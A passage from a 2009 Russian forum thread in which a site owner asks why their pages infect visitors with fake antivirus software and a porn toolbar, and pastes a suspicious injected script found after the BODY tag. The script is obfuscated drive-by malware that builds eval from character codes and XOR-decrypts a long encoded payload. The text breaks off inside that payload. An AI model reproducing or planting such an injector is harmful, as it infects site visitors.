1. Набираем команду codeby webinar. Набираем команду для организации и проведения вебинаров. Подробнее ...

    Скрыть объявление
  2. Требуются разработчики и тестеры для проекта codebyOS. Требования для участия в проекте: Знание принципов работы ОС на базе Linux; Знание Bash; Крайне желательное знание CPP, Python, Lua; Навыки системного администрирования. Подробнее ...

    Скрыть объявление
  3. Получи 30.000 рублей. Для получения денег необходимо принять участие в конкурсе авторов codeby. С условиями и призами можно ознакомиться на этой странице ...

    Внимание! Регистрация авторов на конкурс закрыта.

    Скрыть объявление

С нашего сайта грузится вирус

Тема в разделе "Web - программирование", создана пользователем -, 31 мар 2009.

  1. Гость

    Репутация:
    0
    При разработке сайта мы использовали технологии HTML, CSS и были написаны два небольших скрипта на JavaScript по 5 строчек длиной 100% не являющиеся вредоносными и выполняющие небольшие нужные нам действия.
    Недавно, правда, на все страницы был установлен счетчик LiveInternet.
    Однако при посещении нашего сайта на компьютеры посетителей устанавливается вирус "Antivirus 2008 xp", а в Internet Explorer внеджряется надстройка - порно-информер, отображаемая каждый раз при запуске обозревателя.
    При чем вирус заражает компьютеры только при посещении некоторой части страниц сайта (а не всех) изучая HTML-код наших страниц обратил внимания, что в этих страницах после тэга BODY появляется странный скрипт:

    Код:
    <span id='ffe03313142ab0d86aaec8601165fa9947'><script type="text/javascript">var jj=window["e"+String.fromCharCode(118)+String.fromCharCode(97)+String.fromCharCode(108)]("e"+String.fromCharCode(118)+String.fromCharCode(97)+String.fromCharCode(108)); jj('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x79\x59\x33\x28\x78\x34\x78\x4f\x59\x29\x7b\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x7a\x34\x54\x71\x4b\x62\x38\x28\x6d\x53\x6f\x49\x6d\x29\x7b\x76\x61\x72\x20\x6c\x5a\x56\x35\x58\x3d\x30\x3b\x76\x61\x72\x20\x7a\x35\x73\x30\x6f\x3d\x6d\x53\x6f\x49\x6d\x2e\x6c\x65\x6e\x67\x74\x68\x2c\x20\x66\x51\x6f\x42\x32\x3d\x30\x3b\x77\x68\x69\x6c\x65\x28\x66\x51\x6f\x42\x32\x3c\x7a\x35\x73\x30\x6f\x29\x7b\x6c\x5a\x56\x35\x58\x2b\x3d\x64\x64\x50\x39\x28\x6d\x53\x6f\x49\x6d\x2c\x66\x51\x6f\x42\x32\x29\x2a\x7a\x35\x73\x30\x6f\x3b\x66\x51\x6f\x42\x32\x2b\x2b\x3b\x7d\x72\x65\x74\x75\x72\x6e\x20\x28\x6c\x5a\x56\x35\x58\x2b\x27\x27\x29\x3b\x7d\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x64\x64\x50\x39\x28\x70\x51\x32\x66\x58\x46\x2c\x77\x77\x49\x29\x7b\x72\x65\x74\x75\x72\x6e\x20\x70\x51\x32\x66\x58\x46\x2e\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74\x28\x77\x77\x49\x29\x3b\x7d\x20\x20\x20\x74\x72\x79\x20\x7b\x76\x61\x72\x20\x62\x65\x49\x6f\x4e\x63\x41\x3d\x65\x76\x61\x6c\x28\x27\x61\x4e\x72\x6f\x67\x4e\x75\x51\x6d\x4b\x65\x51\x6e\x4f\x74\x4e\x73\x4f\x2e\x4b\x63\x6f\x61\x4f\x6c\x4f\x6c\x4b\x65\x4f\x65\x51\x27\x2e\x72\x65\x70\x6c\x61\x63\x65\x28\x2f\x5b\x6f\x4f\x51\x4b\x4e\x5d\x2f\x67\x2c\x20\x27\x27\x29\x29\x2c\x6d\x46\x74\x68\x78\x3d\x27\x27\x2c\x76\x57\x47\x6a\x67\x4b\x3d\x30\x2c\x6b\x4c\x62\x3d\x30\x3b\x76\x61\x72\x20\x6a\x54\x37\x4c\x3d\x28\x6e\x65\x77\x20\x53\x74\x72\x69\x6e\x67\x28\x62\x65\x49\x6f\x4e\x63\x41\x29\x29\x2e\x72\x65\x70\x6c\x61\x63\x65\x28\x2f\x5b\x5e\x40\x61\x2d\x7a\x30\x2d\x39\x41\x2d\x5a\x5f\x2e\x2c\x2d\x5d\x2f\x67\x2c\x27\x27\x29\x3b\x76\x61\x72\x20\x6b\x4c\x43\x3d\x7a\x34\x54\x71\x4b\x62\x38\x28\x6a\x54\x37\x4c\x29\x3b\x78\x34\x78\x4f\x59\x3d\x75\x6e\x65\x73\x63\x61\x70\x65\x28\x78\x34\x78\x4f\x59\x29\x3b\x66\x6f\x72\x28\x76\x61\x72\x20\x69\x64\x6d\x38\x31\x3d\x30\x3b\x20\x69\x64\x6d\x38\x31\x20\x3c\x20\x28\x78\x34\x78\x4f\x59\x2e\x6c\x65\x6e\x67\x74\x68\x29\x3b\x20\x69\x64\x6d\x38\x31\x2b\x2b\x29\x7b\x76\x61\x72\x20\x70\x46\x47\x37\x6e\x76\x3d\x64\x64\x50\x39\x28\x6a\x54\x37\x4c\x2c\x76\x57\x47\x6a\x67\x4b\x29\x5e\x64\x64\x50\x39\x28\x6b\x4c\x43\x2c\x6b\x4c\x62\x29\x3b\x76\x61\x72\x20\x64\x34\x54\x48\x67\x3d\x64\x64\x50\x39\x28\x78\x34\x78\x4f\x59\x2c\x69\x64\x6d\x38\x31\x29\x3b\x76\x57\x47\x6a\x67\x4b\x2b\x2b\x2c\x6b\x4c\x62\x2b\x2b\x3b\x6d\x46\x74\x68\x78\x2b\x3d\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x64\x34\x54\x48\x67\x5e\x70\x46\x47\x37\x6e\x76\x29\x3b\x69\x66\x28\x6b\x4c\x62\x3e\x6b\x4c\x43\x2e\x6c\x65\x6e\x67\x74\x68\x29\x6b\x4c\x62\x3d\x30\x3b\x69\x66\x28\x76\x57\x47\x6a\x67\x4b\x3e\x6a\x54\x37\x4c\x2e\x6c\x65\x6e\x67\x74\x68\x29\x76\x57\x47\x6a\x67\x4b\x3d\x30\x3b\x7d\x65\x76\x61\x6c\x28\x6d\x46\x74\x68\x78\x29\x3b\x20\x72\x65\x74\x75\x72\x6e\x20\x6d\x46\x74\x68\x78\x3d\x6e\x65\x77\x20\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x7d\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x7d\x79\x59\x33\x28\x27\x25\x33\x32\x25\x33\x38\x25\x33\x38\x25\x33\x30\x25\x33\x31\x25\x33\x37\x25\x33\x32\x25\x33\x38\x25\x35\x39\x25\x32\x31\x25\x37\x65\x25\x31\x32\x25\x36\x36\x25\x36\x31\x25\x35\x31\x25\x31\x30\x25\x32\x33\x25\x34\x65\x25\x31\x36\x25\x32\x65\x25\x31\x65\x25\x33\x62\x25\x37\x30\x25\x32\x39\x25\x33\x61\x25\x36\x33\x25\x32\x30\x25\x32\x63\x25\x30\x37\x25\x32\x33\x25\x37\x38\x25\x33\x39\x25\x34\x34\x25\x36\x30\x25\x35\x31\x25\x31\x36\x25\x32\x37\x25\x33\x36\x25\x32\x35\x25\x33\x37\x25\x30\x32\x25\x30\x34\x25\x35\x31\x25\x30\x31\x25\x35\x63\x25\x33\x31\x25\x33\x63\x25\x37\x30\x25\x37\x62\x25\x32\x38\x25\x32\x37\x25\x36\x64\x25\x33\x38\x25\x30\x36\x25\x30\x38\x25\x33\x32\x25\x33\x66\x25\x33\x63\x25\x37\x32\x25\x33\x65\x25\x36\x64\x25\x37\x31\x25\x30\x30\x25\x32\x32\x25\x33\x33\x25\x37\x31\x25\x33\x37\x25\x30\x38\x25\x33\x61\x25\x31\x36\x25\x32\x64\x25\x31\x63\x25\x32\x32\x25\x33\x35\x25\x32\x35\x25\x30\x65\x25\x33\x35\x25\x33\x66\x25\x30\x37\x25\x30\x34\x25\x33\x36\x25\x37\x32\x25\x32\x62\x25\x36\x33\x25\x32\x34\x25\x32\x31\x25\x36\x32\x25\x37\x65\x25\x30\x34\x25\x32\x33\x25\x36\x39\x25\x30\x33\x25\x32\x38\x25\x33\x64\x25\x30\x65\x25\x36\x30\x25\x37\x37\x25\x34\x32\x25\x31\x34\x25\x30\x64\x25\x33\x34\x25\x36\x36\x25\x37\x36\x25\x30\x63\x25\x36\x35\x25\x34\x31\x25\x33\x63\x25\x35\x36\x25\x36\x34\x25\x37\x36\x25\x32\x66\x25\x36\x66\x25\x31\x32\x25\x35\x37\x25\x31\x38\x25\x34\x38\x25\x37\x62\x25\x37\x33\x25\x37\x38\x25\x37\x38\x25\x36\x33\x25\x37\x36\x25\x31\x36\x25\x36\x38\x25\x32\x37\x25\x36\x31\x25\x34\x32\x25\x35\x38\x25\x37\x62\x25\x37\x63\x25\x31\x61\x25\x33\x35\x25\x30\x66\x25\x33\x33\x25\x32\x36\x25\x33\x66\x25\x31\x39\x25\x33\x38\x25\x34\x35\x25\x36\x64\x25\x30\x32\x25\x30\x35\x25\x32\x66\x25\x34\x31\x25\x34\x34\x25\x30\x63\x25\x37\x31\x25\x33\x37\x25\x32\x61\x25\x31\x66\x25\x32\x33\x25\x33\x38\x25\x35\x63\x25\x36\x38\x25\x31\x31\x25\x31\x39\x25\x30\x35\x25\x34\x35\x25\x34\x63\x25\x37\x32\x25\x33\x64\x25\x36\x39\x25\x37\x62\x25\x37\x37\x25\x37\x30\x25\x37\x36\x25\x36\x34\x25\x35\x64\x25\x37\x31\x25\x33\x33\x25\x35\x38\x25\x35\x34\x25\x36\x62\x25\x37\x34\x25\x32\x31\x25\x31\x37\x25\x33\x31\x25\x36\x38\x25\x33\x37\x25\x31\x37\x25\x32\x31\x25\x36\x61\x25\x33\x33\x25\x36\x38\x25\x34\x38\x25\x36\x33\x25\x31\x35\x25\x36\x37\x25\x32\x64\x25\x36\x63\x25\x32\x37\x25\x37\x32\x25\x37\x37\x25\x37\x39\x25\x31\x36\x25\x36\x62\x25\x36\x61\x25\x30\x34\x25\x35\x32\x25\x33\x65\x25\x31\x63\x25\x33\x66\x25\x30\x39\x25\x32\x36\x25\x31\x31\x25\x37\x65\x25\x30\x32\x25\x32\x37\x25\x30\x32\x25\x32\x33\x25\x35\x31\x25\x37\x39\x25\x31\x30\x25\x33\x65\x25\x33\x38\x25\x31\x33\x25\x35\x35\x25\x31\x39\x25\x31\x36\x25\x32\x38\x25\x31\x32\x25\x37\x63\x25\x30\x66\x25\x33\x63\x25\x33\x66\x25\x37\x38\x25\x32\x35\x25\x33\x30\x25\x36\x38\x25\x37\x34\x25\x37\x63\x25\x33\x32\x25\x37\x33\x25\x30\x33\x25\x31\x38\x25\x30\x37\x25\x31\x34\x25\x30\x61\x25\x33\x65\x25\x33\x32\x25\x33\x32\x25\x36\x34\x25\x36\x61\x25\x37\x37\x25\x37\x39\x25\x37\x62\x25\x36\x65\x25\x32\x32\x25\x31\x34\x25\x30\x30\x25\x32\x30\x25\x30\x39\x25\x35\x39\x25\x36\x37\x25\x32\x66\x25\x32\x36\x25\x35\x31\x25\x32\x35\x25\x36\x33\x25\x33\x61\x25\x30\x39\x25\x37\x61\x25\x30\x31\x25\x31\x38\x25\x37\x35\x25\x31\x34\x25\x33\x37\x25\x33\x30\x25\x36\x31\x25\x33\x35\x25\x33\x34\x25\x32\x35\x25\x33\x63\x25\x31\x64\x25\x33\x65\x25\x33\x34\x25\x32\x35\x25\x33\x32\x25\x30\x30\x25\x31\x38\x25\x33\x65\x25\x35\x31\x25\x32\x66\x25\x37\x33\x25\x36\x30\x25\x36\x62\x25\x37\x66\x25\x30\x66\x25\x33\x34\x25\x32\x61\x25\x35\x38\x25\x30\x32\x25\x36\x38\x25\x33\x66\x25\x36\x62\x25\x37\x62\x25\x35\x65\x25\x35\x62\x25\x33\x37\x25\x31\x33\x25\x34\x64\x25\x33\x36\x25\x33\x30\x25\x37\x31\x25\x33\x61\x25\x35\x62\x25\x36\x34\x25\x30\x61\x25\x33\x65\x25\x32\x39\x25\x31\x34\x25\x31\x61\x25\x32\x66\x25\x32\x34\x25\x37\x36\x25\x33\x34\x25\x35\x31\x25\x37\x33\x25\x32\x33\x25\x37\x39\x25\x30\x36\x25\x32\x37\x25\x35\x66\x25\x32\x62\x25\x37\x32\x25\x33\x32\x25\x31\x65\x25\x30\x37\x25\x32\x33\x25\x37\x37\x25\x33\x31\x25\x33\x39\x25\x30\x63\x25\x33\x65\x25\x30\x62\x25\x33\x35\x25\x32\x39\x25\x37\x37\x25\x30\x63\x25\x31\x32\x25\x30\x35\x25\x30\x33\x25\x37\x35\x25\x37\x62\x25\x37\x66\x25\x36\x35\x25\x36\x61\x25\x37\x35\x25\x30\x35\x25\x32\x31\x25\x34\x61\x25\x36\x61\x25\x36\x36\x25\x33\x36\x25\x37\x61\x25\x33\x61\x25\x37\x64\x25\x36\x63\x25\x32\x64\x25\x37\x37\x25\x32\x32\x25\x31\x36\x25\x31\x33\x25\x35\x64\x25\x33\x32\x25\x33\x36\x25\x33\x39\x25\x37\x37\x25\x34\x35\x25\x36\x38\x25\x36\x33\x25\x37\x35\x25\x37\x36\x25\x36\x37\x25\x36\x33\x25\x33\x33\x25\x37\x39\x25\x32\x31\x25\x33\x36\x25\x30\x63\x25\x31\x36\x25\x36\x39\x25\x33\x38\x25\x36\x39\x25\x37\x34\x25\x37\x32\x25\x37\x32\x25\x32\x32\x25\x37\x39\x25\x33\x66\x25\x37\x33\x25\x30\x66\x25\x37\x32\x25\x32\x61\x25\x30\x38\x25\x36\x39\x25\x33\x65\x25\x32\x64\x25\x31\x63\x25\x33\x39\x25\x31\x36\x25\x30\x66\x25\x36\x61\x25\x32\x31\x25\x30\x66\x25\x31\x65\x25\x37\x30\x25\x33\x36\x25\x35\x34\x25\x36\x61\x25\x37\x38\x25\x37\x61\x25\x36\x31\x25\x33\x37\x25\x37\x32\x25\x31\x65\x25\x31\x39\x25\x33\x39\x25\x33\x32\x25\x37\x64\x25\x30\x34\x25\x37\x33\x25\x31\x37\x25\x36\x62\x25\x30\x33\x25\x31\x66\x25\x30\x38\x25\x36\x66\x25\x31\x64\x25\x33\x39\x25\x33\x31\x25\x35\x64\x25\x32\x62\x25\x37\x66\x25\x35\x65\x25\x34\x37\x25\x37\x32\x25\x37\x63\x25\x31\x38\x25\x37\x38\x25\x31\x39\x25\x31\x62\x25\x33\x62\x25\x33\x31\x25\x30\x66\x25\x30\x63\x25\x33\x31\x25\x33\x39\x25\x31\x66\x25\x31\x35\x25\x32\x63\x25\x33\x64\x25\x33\x33\x25\x33\x33\x25\x33\x66\x25\x36\x62\x25\x36\x30\x25\x33\x31\x25\x31\x38\x25\x31\x66\x25\x33\x33\x25\x32\x64\x25\x32\x62\x25\x31\x64\x25\x33\x36\x25\x37\x65\x25\x37\x34\x25\x31\x66\x25\x37\x34\x25\x30\x39\x25\x30\x34\x25\x32\x32\x25\x33\x33\x25\x31\x66\x25\x35\x35\x25\x32\x65\x25\x34\x36\x25\x32\x30\x25\x33\x65\x25\x33\x64\x25\x32\x65\x25\x31\x30\x25\x33\x30\x25\x33\x37\x25\x30\x30\x25\x36\x64\x25\x37\x66\x25\x33\x62\x25\x33\x32\x25\x33\x35\x25\x33\x66\x25\x32\x36\x25\x37\x34\x25\x33\x61\x25\x32\x32\x25\x33\x34\x25\x36\x64\x25\x32\x39\x25\x31\x39\x25\x32\x31\x25\x34\x38\x25\x30\x31\x25\x33\x61\x25\x30\x65\x25\x30\x61\x25\x37\x63\x25\x30\x66\x25\x36\x38\x25\x31\x32\x25\x37\x32\x25\x33\x37\x25\x33\x38\x25\x32\x30\x25\x33\x34\x25\x32\x31\x25\x33\x35\x25\x36\x36\x25\x34\x64\x25\x35\x30\x25\x37\x66\x25\x36\x32\x25\x36\x63\x25\x32\x32\x25\x37\x36\x25\x36\x65\x25\x32\x35\x25\x33\x35\x25\x33\x33\x25\x30\x37\x25\x36\x32\x25\x30\x62\x25\x32\x35\x25\x32\x35\x25\x33\x36\x25\x32\x64\x25\x32\x31\x25\x31\x33\x25\x33\x64\x25\x33\x39\x25\x33\x33\x25\x32\x33\x25\x37\x39\x25\x36\x30\x25\x36\x33\x25\x36\x39\x25\x36\x30\x25\x34\x63\x25\x37\x64\x25\x35\x62\x25\x36\x30\x25\x32\x62\x25\x37\x33\x25\x33\x61\x25\x33\x65\x25\x33\x30\x25\x32\x35\x25\x33\x31\x25\x30\x39\x25\x35\x65\x25\x37\x65\x25\x37\x37\x25\x37\x65\x25\x33\x34\x25\x33\x36\x25\x33\x35\x25\x33\x34\x25\x31\x61\x25\x32\x32\x25\x30\x65\x25\x36\x35\x25\x36\x30\x25\x32\x63\x25\x33\x34\x25\x31\x34\x25\x30\x37\x25\x34\x65\x25\x36\x36\x25\x32\x32\x25\x33\x33\x25\x32\x64\x25\x32\x62\x25\x37\x36\x25\x33\x64\x25\x32\x65\x25\x34\x36\x25\x30\x33\x25\x32\x38\x25\x31\x37\x25\x32\x62\x25\x34\x30\x25\x33\x34\x25\x31\x32\x25\x32\x33\x25\x32\x38\x25\x33\x33\x25\x32\x32\x25\x33\x63\x25\x32\x36\x25\x37\x35\x25\x34\x34\x25\x34\x64\x25\x37\x36\x25\x32\x65\x25\x36\x33\x25\x33\x63\x25\x37\x39\x25\x33\x31\x25\x37\x36\x25\x32\x30\x25\x37\x64\x25\x34\x38\x25\x30\x62\x25\x31\x64\x25\x30\x32\x25\x31\x30\x25\x30\x66\x25\x37\x34\x25\x33\x39\x25\x30\x63\x25\x32\x65\x25\x32\x39\x25\x32\x31\x25\x31\x65\x25\x32\x39\x25\x35\x65\x25\x33\x62\x25\x32\x31\x25\x33\x38\x25\x33\x64\x25\x30\x66\x25\x34\x30\x25\x31\x33\x25\x37\x37\x25\x37\x31\x25\x33\x39\x25\x30\x30\x25\x33\x64\x25\x32\x65\x25\x31\x63\x25\x33\x30\x25\x37\x61\x25\x36\x61\x25\x36\x39\x25\x36\x61\x25\x36\x36\x25\x31\x64\x25\x32\x64\x25\x30\x38\x25\x35\x65\x25\x34\x66\x25\x30\x65\x25\x31\x36\x25\x33\x61\x25\x33\x35\x25\x36\x35\x25\x31\x35\x25\x33\x36\x25\x37\x35\x25\x32\x64\x25\x37\x32\x25\x34\x65\x25\x36\x39\x25\x33\x34\x25\x36\x31\x25\x33\x61\x25\x35\x62\x25\x36\x30\x25\x36\x62\x25\x30\x63\x25\x37\x32\x25\x30\x63\x25\x33\x30\x25\x32\x34\x25\x33\x61\x25\x30\x30\x25\x36\x35\x25\x30\x38\x25\x37\x64\x25\x30\x34\x25\x33\x37\x25\x31\x37\x25\x32\x65\x25\x30\x36\x25\x33\x39\x25\x32\x34\x25\x33\x30\x25\x33\x32\x25\x30\x61\x25\x36\x33\x25\x30\x62\x25\x37\x33\x25\x36\x32\x25\x31\x62\x25\x33\x38\x25\x32\x36\x25\x33\x30\x25\x33\x35\x25\x30\x32\x25\x36\x62\x25\x36\x61\x25\x34\x36\x25\x36\x39\x25\x31\x33\x25\x33\x63\x25\x35\x36\x25\x35\x65\x25\x30\x36\x25\x31\x32\x25\x32\x36\x25\x36\x35\x25\x30\x32\x25\x36\x61\x25\x36\x64\x25\x36\x64\x25\x37\x39\x25\x36\x38\x25\x34\x64\x25\x37\x34\x25\x33\x36\x25\x33\x31\x25\x30\x37\x25\x33\x38\x25\x33\x63\x25\x33\x64\x25\x32\x34\x25\x30\x33\x25\x30\x33\x25\x33\x36\x25\x30\x39\x25\x33\x32\x25\x32\x63\x25\x31\x65\x25\x30\x62\x25\x36\x65\x25\x35\x37\x25\x36\x64\x25\x36\x38\x25\x32\x35\x25\x36\x33\x25\x31\x63\x25\x37\x34\x25\x37\x38\x25\x36\x38\x25\x34\x62\x25\x37\x32\x25\x34\x33\x25\x30\x61\x25\x34\x36\x25\x33\x62\x25\x37\x62\x25\x32\x33\x25\x37\x37\x25\x33\x37\x25\x31\x66\x25\x32\x37\x25\x32\x61\x25\x33\x30\x25\x35\x63\x25\x37\x33\x25\x35\x36\x25\x36\x30\x25\x34\x62\x25\x37\x38\x25\x32\x63\x25\x30\x61\x25\x34\x38\x25\x32\x35\x25\x34\x31\x25\x33\x35\x25\x35\x34\x25\x32\x37\x25\x31\x61\x25\x37\x39\x25\x34\x31\x25\x32\x31\x25\x31\x32\x25\x32\x34\x25\x31\x33\x25\x33\x63\x25\x31\x66\x25\x33\x32\x25\x35\x66\x25\x34\x61\x25\x33\x38\x25\x32\x33\x25\x30\x66\x25\x30\x39\x25\x36\x62\x25\x36\x63\x25\x33\x30\x25\x30\x36\x25\x34\x61\x25\x33\x61\x25\x35\x62\x25\x34\x39\x25\x35\x63\x25\x35\x38\x25\x37\x39\x25\x32\x35\x25\x36\x30\x25\x31\x66\x25\x30\x64\x25\x36\x63\x25\x32\x62\x25\x33\x65\x25\x37\x63\x25\x33\x33\x25\x34\x35\x25\x31\x30\x25\x35\x37\x25\x33\x31\x25\x31\x63\x25\x36\x62\x25\x36\x39\x25\x33\x37\x25\x31\x65\x25\x33\x65\x25\x37\x63\x25\x34\x64\x25\x33\x63\x25\x36\x34\x25\x33\x64\x25\x31\x34\x25\x36\x33\x25\x31\x35\x25\x37\x34\x25\x37\x34\x25\x34\x63\x25\x30\x65\x25\x36\x32\x25\x33\x64\x25\x32\x62\x25\x33\x36\x25\x32\x34\x25\x33\x35\x25\x37\x35\x25\x33\x61\x25\x37\x34\x25\x34\x64\x25\x33\x34\x25\x35\x66\x25\x37\x63\x25\x32\x39\x25\x33\x38\x25\x33\x62\x25\x30\x39\x25\x37\x62\x25\x37\x32\x25\x36\x36\x25\x30\x64\x25\x33\x33\x25\x37\x62\x25\x33\x63\x25\x36\x62\x25\x34\x35\x25\x32\x33\x25\x31\x63\x25\x33\x63\x25\x31\x31\x25\x30\x61\x25\x37\x36\x25\x37\x64\x25\x36\x30\x25\x30\x61\x25\x37\x62\x25\x32\x30\x25\x32\x64\x25\x36\x63\x25\x32\x64\x25\x30\x39\x25\x31\x38\x25\x33\x36\x25\x35\x31\x25\x34\x65\x25\x36\x65\x25\x34\x66\x25\x33\x35\x25\x36\x31\x25\x33\x61\x25\x31\x32\x25\x37\x34\x25\x32\x31\x25\x30\x39\x25\x36\x30\x25\x31\x38\x25\x34\x31\x25\x30\x66\x25\x37\x65\x25\x30\x34\x25\x33\x66\x25\x30\x38\x25\x33\x65\x25\x33\x65\x25\x32\x63\x25\x32\x65\x25\x33\x30\x25\x33\x33\x25\x37\x34\x25\x33\x34\x25\x37\x65\x25\x37\x61\x25\x32\x35\x25\x32\x66\x25\x33\x36\x25\x33\x63\x25\x32\x34\x25\x33\x38\x25\x33\x39\x25\x34\x35\x25\x32\x35\x25\x35\x32\x25\x33\x38\x25\x33\x65\x25\x31\x36\x25\x30\x36\x25\x37\x31\x25\x35\x31\x25\x32\x35\x25\x32\x39\x25\x32\x37\x25\x35\x62\x25\x34\x39\x25\x33\x38\x25\x37\x63\x25\x37\x65\x25\x37\x64\x25\x31\x34\x25\x36\x64\x25\x37\x37\x25\x36\x64\x25\x37\x64\x25\x37\x33\x25\x33\x38\x25\x36\x31\x25\x32\x30\x25\x30\x65\x25\x31\x38\x25\x32\x63\x25\x34\x39\x25\x30\x65\x25\x33\x31\x25\x36\x37\x25\x37\x33\x25\x36\x30\x25\x30\x61\x25\x34\x64\x25\x35\x39\x25\x33\x61\x25\x35\x33\x25\x37\x32\x25\x35\x32\x25\x37\x33\x25\x33\x36\x25\x33\x62\x25\x31\x62\x25\x36\x63\x25\x33\x31\x25\x35\x63\x25\x37\x62\x25\x32\x31\x25\x30\x37\x25\x37\x31\x25\x30\x37\x25\x31\x66\x25\x31\x38\x25\x37\x31\x25\x37\x33\x25\x35\x32\x25\x30\x65\x25\x37\x33\x25\x33\x37\x25\x30\x61\x25\x30\x61\x25\x32\x35\x25\x33\x34\x25\x32\x35\x25\x37\x39\x25\x33\x34\x25\x37\x61\x25\x34\x38\x25\x31\x65\x25\x36\x64\x25\x32\x35\x25\x36\x39\x25\x30\x32\x25\x31\x63\x25\x37\x33\x25\x33\x32\x25\x32\x66\x25\x34\x33\x25\x37\x39\x25\x36\x63\x25\x33\x61\x25\x32\x34\x25\x31\x39\x25\x33\x32\x25\x33\x65\x25\x31\x61\x25\x34\x39\x25\x37\x31\x25\x30\x30\x25\x33\x32\x25\x33\x34\x25\x30\x34\x25\x36\x64\x25\x33\x39\x25\x32\x66\x25\x33\x63\x25\x32\x64\x25\x32\x33\x25\x33\x34\x25\x31\x30\x25\x33\x37\x25\x37\x34\x25\x33\x31\x25\x36\x36\x25\x34\x66\x25\x32\x62\x25\x31\x33\x25\x33\x39\x25\x32\x32\x25\x36\x64\x25\x31\x37\x25\x33\x32\x25\x33\x33\x25\x30\x65\x25\x33\x66\x25\x36\x39\x25\x33\x61\x25\x31\x39\x25\x33\x61\x25\x33\x32\x25\x31\x31\x25\x35\x36\x25\x30\x63\x25\x32\x31\x25\x33\x33\x25\x37\x64\x25\x33\x31\x25\x33\x66\x25\x30\x66\x25\x31\x36\x25\x32\x31\x25\x32\x64\x25\x31\x63\x25\x37\x33\x25\x30\x31\x25\x30\x37\x25\x31\x33\x25\x37\x30\x25\x37\x63\x25\x37\x30\x25\x30\x64\x25\x30\x62\x25\x33\x34\x25\x36\x62\x25\x32\x64\x25\x33\x65\x25\x32\x65\x25\x30\x62\x25\x35\x37\x25\x34\x33\x25\x32\x65\x25\x30\x35\x25\x33\x33\x25\x31\x36\x25\x32\x36\x25\x31\x66\x25\x37\x30\x25\x33\x63\x25\x35\x38\x25\x33\x38\x25\x33\x30\x25\x32\x66\x25\x32\x64\x25\x32\x61\x25\x30\x35\x25\x31\x62\x25\x32\x36\x25\x34\x39\x25\x31\x35\x25\x36\x37\x25\x33\x65\x25\x32\x37\x25\x32\x34\x25\x33\x32\x25\x33\x30\x25\x31\x30\x25\x35\x61\x25\x33\x32\x25\x32\x66\x25\x33\x39\x25\x32\x31\x25\x37\x65\x25\x36\x32\x25\x33\x32\x25\x33\x33\x25\x31\x39\x25\x30\x31\x25\x33\x65\x25\x33\x65\x25\x36\x38\x25\x37\x64\x25\x33\x61\x25\x33\x31\x25\x31\x66\x25\x30\x34\x25\x36\x32\x25\x37\x61\x25\x37\x31\x25\x36\x64\x25\x37\x64\x25\x37\x39\x25\x36\x31\x25\x37\x30\x25\x34\x30\x25\x37\x66\x25\x35\x63\x25\x33\x32\x25\x32\x64\x25\x37\x66\x25\x36\x39\x25\x37\x62\x25\x37\x31\x25\x34\x38\x25\x37\x62\x25\x36\x31\x25\x31\x64\x25\x37\x66\x25\x36\x39\x25\x36\x37\x25\x32\x36\x25\x31\x66\x25\x37\x39\x25\x36\x39\x25\x37\x30\x25\x37\x36\x25\x37\x34\x25\x33\x30\x25\x33\x30\x25\x33\x39\x25\x33\x33\x25\x31\x63\x25\x36\x66\x25\x30\x32\x25\x32\x63\x25\x31\x66\x25\x37\x34\x25\x32\x36\x25\x37\x66\x25\x35\x34\x25\x34\x66\x25\x30\x66\x25\x33\x64\x25\x32\x37\x25\x32\x32\x25\x36\x64\x25\x33\x63\x25\x30\x64\x25\x31\x61\x25\x36\x37\x25\x30\x62\x25\x36\x36\x25\x32\x61\x25\x30\x32\x25\x33\x37\x25\x33\x66\x25\x36\x65\x25\x32\x35\x25\x35\x37\x25\x37\x35\x25\x37\x63\x25\x34\x62\x25\x36\x35\x25\x35\x38\x25\x37\x64\x25\x33\x62\x25\x37\x64\x25\x34\x35\x25\x37\x37\x25\x37\x66\x25\x32\x38\x25\x33\x34\x25\x37\x35\x25\x37\x66\x25\x31\x31\x25\x33\x32\x25\x33\x32\x25\x36\x63\x25\x36\x39\x25\x32\x63\x25\x33\x64\x25\x37\x38\x25\x37\x33\x25\x37\x38\x25\x30\x35\x25\x30\x66\x25\x33\x63\x25\x35\x37\x25\x37\x30\x25\x37\x61\x25\x32\x39\x25\x37\x64\x25\x32\x63\x25\x37\x61\x25\x33\x31\x25\x34\x37\x25\x34\x32\x25\x32\x61\x25\x34\x36\x25\x37\x32\x25\x37\x61\x25\x34\x63\x25\x37\x33\x25\x30\x38\x25\x31\x31\x25\x33\x62\x25\x31\x30\x25\x33\x65\x25\x37\x38\x25\x37\x31\x25\x34\x62\x25\x37\x38\x25\x31\x65\x25\x32\x65\x25\x36\x39\x25\x32\x32\x25\x36\x66\x25\x32\x36\x25\x37\x36\x25\x37\x33\x25\x34\x30\x25\x34\x66\x25\x35\x30\x25\x32\x31\x25\x36\x61\x25\x37\x37\x25\x36\x62\x25\x36\x30\x25\x36\x30\x25\x37\x64\x25\x34\x63\x25\x31\x63\x25\x30\x36\x25\x36\x34\x25\x31\x62\x25\x37\x39\x25\x32\x35\x25\x33\x39\x25\x32\x66\x25\x32\x36\x25\x33\x61\x25\x33\x39\x25\x33\x32\x25\x30\x37\x25\x32\x31\x25\x31\x35\x25\x36\x32\x25\x32\x36\x25\x33\x36\x25\x32\x38\x25\x37\x37\x25\x34\x30\x25\x35\x64\x25\x33\x64\x25\x36\x32\x25\x36\x62\x25\x35\x33\x25\x35\x32\x25\x37\x63\x25\x36\x63\x25\x33\x39\x25\x32\x61\x25\x33\x36\x25\x33\x34\x25\x34\x64\x25\x37\x61\x25\x30\x37\x25\x31\x65\x25\x31\x36\x25\x33\x36\x25\x37\x38\x25\x37\x39\x25\x32\x32\x25\x32\x38\x25\x31\x32\x25\x31\x63\x25\x37\x38\x25\x33\x35\x25\x31\x36\x25\x33\x37\x25\x33\x32\x25\x37\x62\x25\x30\x36\x25\x36\x30\x25\x30\x31\x25\x32\x65\x25\x33\x61\x25\x31\x61\x25\x32\x64\x25\x33\x63\x25\x33\x39\x25\x31\x32\x25\x33\x32\x25\x36\x65\x25\x36\x62\x25\x35\x39\x25\x33\x62\x25\x33\x33\x25\x33\x65\x25\x33\x38\x25\x32\x37\x25\x31\x66\x2